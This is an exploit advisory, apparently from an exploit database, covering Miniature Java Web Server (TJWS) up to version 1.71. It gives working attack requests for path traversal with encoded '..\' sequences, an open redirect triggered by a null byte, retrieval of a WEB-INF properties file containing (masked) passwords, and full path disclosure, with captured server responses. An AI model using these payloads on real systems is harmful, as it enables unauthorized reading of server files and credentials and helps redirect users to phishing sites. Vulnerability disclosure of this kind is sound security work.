# Exploit Title: Miniature Java Web Server <= 1.71 Multiple Vulnerabilities. # Date: 26/03/10 # Author: cp77fk4r | empty0page[SHIFT+2]gmail.com | www.DigitalWhisper.co.il # Software Link: http://tjws.sourceforge.net/#download # Version: <= 1.71 # Tested on: JRE build 1.6.0_17-b04 # ##[Path Traversal:] A Path Traversal attack aims to access files and directories that are stored outside the web root folder. By browsing the application, the attacker looks for absolute links to files stored on the web server. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration and critical system files, limited by system operational access control. The attacker uses “../” sequences to move up to root directory, thus permitting navigation through the file system. (OWASP) # http://localhost/..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C (You'll get the root directory on the volume) # # ##[Open Redirect:] An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it. (OWASP) # HTTP REQUEST: # get /%00 HTTP/1.1\r\nHost: digitalwhisper.co.il\r\n\r\n # Lead to: # HTTP RESPONSE: # HTTP/1.1 302 Moved temporarily content-type: text/html location: http://digitalwhisper.co.il/ / connection: keep-alive date: Thu, 25 Mar 2010 17:17:40 GMT keep-alive: timeout=30, max=100 content-length: 303 server: D. Rogatkin's TJWS based on Acme.Serve/Version 1.71, $Revision: 1.199 $ mime-version: 1.0 302 Moved

302 Moved

This document has moved 403 Forbidden

403 Forbidden

D. Rogatkin's TJWS based on Acme.Serve Version 1.71, $Revision: 1.199 $
# BUT: # HTTP REQUEST: # GET /demo-servlets/%2fWEB-INF/config/mishka.properties HTTP/1.1 Host: localhost # Lead to: # HTTP REQPONSE: # HTTP/1.1 200 Ok content-type: Unknown connection: keep-alive date: Thu, 08 Apr 2010 18:00:35 GMT last-modified: Thu, 25 Mar 2010 16:41:58 GMT keep-alive: timeout=30, max=100 content-length: 364 server: D. Rogatkin's TJWS based on Acme.Serve/Version 1.71, $Revision: 1.199 $ mime-version: 1.0 # XML persistant storage location config=mishka.xml WorkerPrefix=javaarchitect.servlet.mishka. # HTMl template path TEMPLATEROOT=/javaarchitect/servlet/mishka/resource PASSWORD=************* MESSAGEBOARD_PASSWORD=************* #MESSAGEBOARD_REALMNAME=Lunch Administrator DefaultServant=frontpage charset=KOI8-r MessageBoardStore=lunchboard.store DEBUG=1 # # ##[Full Path Disclosure:] Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view. (OWASP) # http://localhost/demo-servlets/snoop.jsp # # [e0f]